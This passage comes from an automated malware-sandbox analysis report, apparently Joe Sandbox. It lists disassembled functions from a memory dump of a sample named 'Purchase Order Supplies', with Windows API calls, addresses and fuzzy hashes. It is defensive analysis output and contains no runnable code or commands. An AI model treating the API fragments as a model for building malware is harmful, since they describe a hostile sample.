send.WS2_32(00000000,?,00000000,00000000), ref: 00CE9534
WSAGetLastError.WS2_32(00000000,?,00000000,00000000), ref: 00CE9557

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorLastsend
String ID:
API String ID: 1802528911-0
Opcode ID: f3714da77adcdd3f42d217bc43a25a5bf9d97fddacea72b666f5515d072df8af
Instruction ID: fa2a96d9123edd420002b3135b241288cd601c66f78e276679b60d05a8de542d
Opcode Fuzzy Hash: f3714da77adcdd3f42d217bc43a25a5bf9d97fddacea72b666f5515d072df8af
Instruction Fuzzy Hash: F8018F35300200AFC710EF29C891B6AB7E9EF99720F11852EE65AC7391CB70EC01CB60

Function 00CB4274 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CB889E: __getptd_noexit.LIBCMT ref: 00CB889E

__lock_file.LIBCMT ref: 00CB42B9

Part of subcall function 00CB5A9F: __lock.LIBCMT ref: 00CB5AC2

__fclose_nolock.LIBCMT ref: 00CB42C4

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 340e31cead5e9a969493ec3b3f30908a8c26829c03d4bdf76bb6d8f51d5b9ec0
Instruction ID: 8251f2222c6f3349cba78d2c8d8d0c0a22219e8a5655b64f1f99e19777e070fe
Opcode Fuzzy Hash: 340e31cead5e9a969493ec3b3f30908a8c26829c03d4bdf76bb6d8f51d5b9ec0
Instruction Fuzzy Hash: 35F0B4318097159ADB15AB7588027EE67D0AF81334F228309F825AB1C3CB7C8A01BB52

Function 00CAF55E Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00CAF57A

Part of subcall function 00C9E1F0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00C9E279

Sleep.KERNEL32(00000000), ref: 00D075D3

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID:
API String ID: 1792118007-0
Opcode ID: 4563e67b64200a964b60e99af2099efbfb9a0b2a0275619a2412b7ddafd2f6f9
Instruction ID: 7805b5c90048f2e4d4ec760597587e7f89b5b8552185c073664a58ab53e73d4c
Opcode Fuzzy Hash: 4563e67b64200a964b60e99af2099efbfb9a0b2a0275619a2412b7ddafd2f6f9
Instruction Fuzzy Hash: 79F08C71240719AFD314EF69D849B96BBE9EF68320F00442AF81AC7391DF70A800CBE0

Function 00C981C6 Relevance: 1.9, APIs: 1, Instructions: 438COMMON

Download Yara Rule

APIs

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

__wcsnicmp.LIBCMT ref: 00C983C4

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: __itow__swprintf__wcsnicmp
String ID:
API String ID: 712828618-0
Opcode ID: 8ab493cf396f586e988fbb2cd5b1780cf546e8ed0e37217accfc2a0838a8d3ce
Instruction ID: 5a4deaf434f4324aa7b8a28f4ae7814bbf251dda08a0a62e11d17b9925c3f64e
Opcode Fuzzy Hash: 8ab493cf396f586e988fbb2cd5b1780cf546e8ed0e37217accfc2a0838a8d3ce
Instruction Fuzzy Hash: C3F19E71508302AFCB04DF18C89586FBBE5FF99304F54891DF98A97261EB30EA09DB52

Function 00CA4040 Relevance: 1.7, APIs: 1, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca55a8790d7cd0e5e7960c90d9e329dd0bff79563238d8607ea337c53e4f0b64
Instruction ID: 6605c1384fa817319061f497b0f0744c5cd077634eff09989afc320d802af2d6
Opcode Fuzzy Hash: ca55a8790d7cd0e5e7960c90d9e329dd0bff79563238d8607ea337c53e4f0b64
Instruction Fuzzy Hash: 0061B4B0A002079FCB04DF55C880A7EB7E4FF55318F148669EA2A8B291E770ED95DB91

Function 00CAEF0D Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62be54aff8397159c8942ebe69c08661c0b1fccbb7d02c8891a89aa6d47f70e3
Instruction ID: 897d7038e67338fb82c70b1c208caed969432b84515cccaded26a2475eea8800
Opcode Fuzzy Hash: 62be54aff8397159c8942ebe69c08661c0b1fccbb7d02c8891a89aa6d47f70e3
Instruction Fuzzy Hash: 4751B435700115AFCF04EFA8C995EAD77EAAF49314B1441A9F50A9B392DB30ED05EB90

Function 00C9B6D0 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C9B7C2

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 653a53b8435a0736043d6b22074b13ebbbade5d52c540747a625e5d2bf85aa42
Instruction ID: 36fcdef085ad5591e9dcde2cc1f540579e89fe466d39d4580795e18ac330fdef
Opcode Fuzzy Hash: 653a53b8435a0736043d6b22074b13ebbbade5d52c540747a625e5d2bf85aa42
Instruction Fuzzy Hash: DE41D079200602EFCB14DF5AE584A62F3E4FF88360714C56EE89A87751D730EC52DB20

Function 00C94EE9 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,00000001,00000000,00000000,?,?,00000000), ref: 00C94F8F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 87acce4fd8400229500a501997f0da2d3e8734ac93671835b22480425996b66c
Instruction ID: 10e330f06ae7cbbd98f77868abe1708b0c149c67352ad86c79b901be801a56b3
Opcode Fuzzy Hash: 87acce4fd8400229500a501997f0da2d3e8734ac93671835b22480425996b66c
Instruction Fuzzy Hash: 76313B71A00616AFCF08CFADD488AADB7B5BF48310F148629E81997754D770BA91CB90

Function 00CAF92C Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

select.WS2_32 ref: 00CAF9DB

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: select
String ID:
API String ID: 1274211008-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: ab7dfd891030634bc0c92a8625b5faad7447cee65209552aa5b256e50923d8b1
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 1131EE70A00106ABD714DFA9D480A6EF7B5FF4A304B2482A9E459CB255D731EEC2DBD0

Function 00D0AA5A Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00D0AA65

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: ef176648a821b6d3cc1f819b5303e48b195a3ac61d38fa06a67693ae80a282c0
Instruction ID: f7c486deb587a25168d1e76c48561b127fdba3a9a9afe460b93094b50c1c1ca2
Opcode Fuzzy Hash: ef176648a821b6d3cc1f819b5303e48b195a3ac61d38fa06a67693ae80a282c0
Instruction Fuzzy Hash: E2414E74504752CFEB24CF19C444B1ABBE1BF49358F29859CE99A4B362C372E885CF52

Function 00C94D67 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C94DAD

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: af2aa384e551d168b78e5b05191074926328fffe3f2d8aa568180666f35e57af
Instruction ID: d5169b63e168f83c9ae36a09b13c801a87f501ee03c089d07521ff8b1a877b33
Opcode Fuzzy Hash: af2aa384e551d168b78e5b05191074926328fffe3f2d8aa568180666f35e57af
Instruction Fuzzy Hash: F421FDB5A00708EBCF149F15E844BAE7BF8EB96340F21846DE58AD2250EB30D5D1D7A6

Function 00C9D805 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C9D837

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 850a3e34ffcf0575de9322bf5b98585c373294fd89485bbbcd9ce223ec0d444b
Instruction ID: 7827b33fcbd53f287c10f248c01f2bbbc44f2d92cc46eb92fc5d916e780c9984
Opcode Fuzzy Hash: 850a3e34ffcf0575de9322bf5b98585c373294fd89485bbbcd9ce223ec0d444b
Instruction Fuzzy Hash: AB115E75600605DFCB24DF28D481956B7F9FF49354B20C46EE88ECB662E732E841DB94

Function 00C93F9B Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C93F5D: FreeLibrary.KERNEL32(00000000,?), ref: 00C93F90

LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00C934E2,?,00000001), ref: 00C93FCD

Part of subcall function 00C93E78: FreeLibrary.KERNEL32(00000000), ref: 00C93EAB

Part of subcall function 00C94010: _memmove.LIBCMT ref: 00C9405A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Library$Free$Load_memmove
String ID:
API String ID: 3640140200-0
Opcode ID: e3488bc3c0505c6e49aa2222f535162f0f8c54cad99a21aa17709ca89ec40341
Instruction ID: ba9127a0dd4d6c43fd5d15a0da25a881342d2a1a99ec2c33ff50e165e82c61d3
Opcode Fuzzy Hash: e3488bc3c0505c6e49aa2222f535162f0f8c54cad99a21aa17709ca89ec40341
Instruction Fuzzy Hash: 9A11A332610219BACF14AF64DC0AF9E77A59F50B04F108829F942EA1C1DB749E45BB60

Function 00D0AB2A Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00D0AB36

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 153475b98d71e153b2f5255b325bb270ecad5ceb2dbfc381d39879ea83188d4a
Instruction ID: ba1783069472fd75e7642c56e1c4732ea3e2d74daf9e34cb9c8552bbe0cbcc6f
Opcode Fuzzy Hash: 153475b98d71e153b2f5255b325bb270ecad5ceb2dbfc381d39879ea83188d4a
Instruction Fuzzy Hash: 6B212570508702CFEB24DF29C444B1BBBE2BF8A348F25496CE99647662C731E845DF52

Function 00CF10E5 Relevance: 1.6, APIs: 1, Instructions: 57libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?), ref: 00CF1100

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 81f2d49206d1e1ba1f8db45c6f03b60611dad73daf130153e09e9a608dadbbe0
Instruction ID: 6c3bf2f36308bab65b66a3ed7e594b25c9517be5a529f90d96a1cf0d984534ef
Opcode Fuzzy Hash: 81f2d49206d1e1ba1f8db45c6f03b60611dad73daf130153e09e9a608dadbbe0
Instruction Fuzzy Hash: 4D118F36201219DFDB50CF19C480AAE77E9BF49760B09816AEE568B351CB30AD418B92

Function 00C94CA0 Relevance: 1.6, APIs: 1, Instructions: 51fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00010000,?,00000000,?,00000000,00000000,?,00C94E69,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00C94CF7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 03e44b7bed40ba0c61bbc87375366464553d83b54bb40928be53c0457603f3a9
Instruction ID: e6e58cc5a0adfa93af3ac504dc163daeafe5be2077437a64d8f0024f4845537c
Opcode Fuzzy Hash: 03e44b7bed40ba0c61bbc87375366464553d83b54bb40928be53c0457603f3a9
Instruction Fuzzy Hash: EE117931201B04AFDB28CF06C888F66B7E9EF44354F10C41EE5AA86A50C7B1F946CB60

Function 00C94D29 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D045F9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 8f18987bb35b2baff0789867a32b92a27879a4fd73e9d049a8f42728d02b6011
Instruction ID: 00e4a724cec19eacc37ae05ab811752c56797cb450688e9e4ff0c421d5cb4ad9
Opcode Fuzzy Hash: 8f18987bb35b2baff0789867a32b92a27879a4fd73e9d049a8f42728d02b6011
Instruction Fuzzy Hash: B60171B9201542AFC7059B29C955D39F7A9FF853107148159E419C7742DB30AC22D7E0

Function 00C9CAEE Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C9CB2F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: b5c2f79ffc866aa4d9d8d5862c779d30c68016984ecab95dea654ca3aae33fc1
Instruction ID: 9a88404a1395fe3e322fbc33f27430aceddacca91fb4ece539a47f5c2458241c
Opcode Fuzzy Hash: b5c2f79ffc866aa4d9d8d5862c779d30c68016984ecab95dea654ca3aae33fc1
Instruction Fuzzy Hash: 0901F972200705AFD7149B79C80BA67BB98DF487A0F50852EF95ACB1D1EB71E500AB90

Function 00CAF2D0 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CAF307

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 02776e319c847e67457d139bf32e2937006cb129a4eaf7d285538e405d1422c3
Instruction ID: ba642f18900286dd63d8e26b77128d4931884f2cfc4629bab7f9c5aa63a3ac3a
Opcode Fuzzy Hash: 02776e319c847e67457d139bf32e2937006cb129a4eaf7d285538e405d1422c3
Instruction Fuzzy Hash: 48012B71005602EBCF20AFA8D804E5FBBA89F83320B10453DF85843261D7319816A7B0

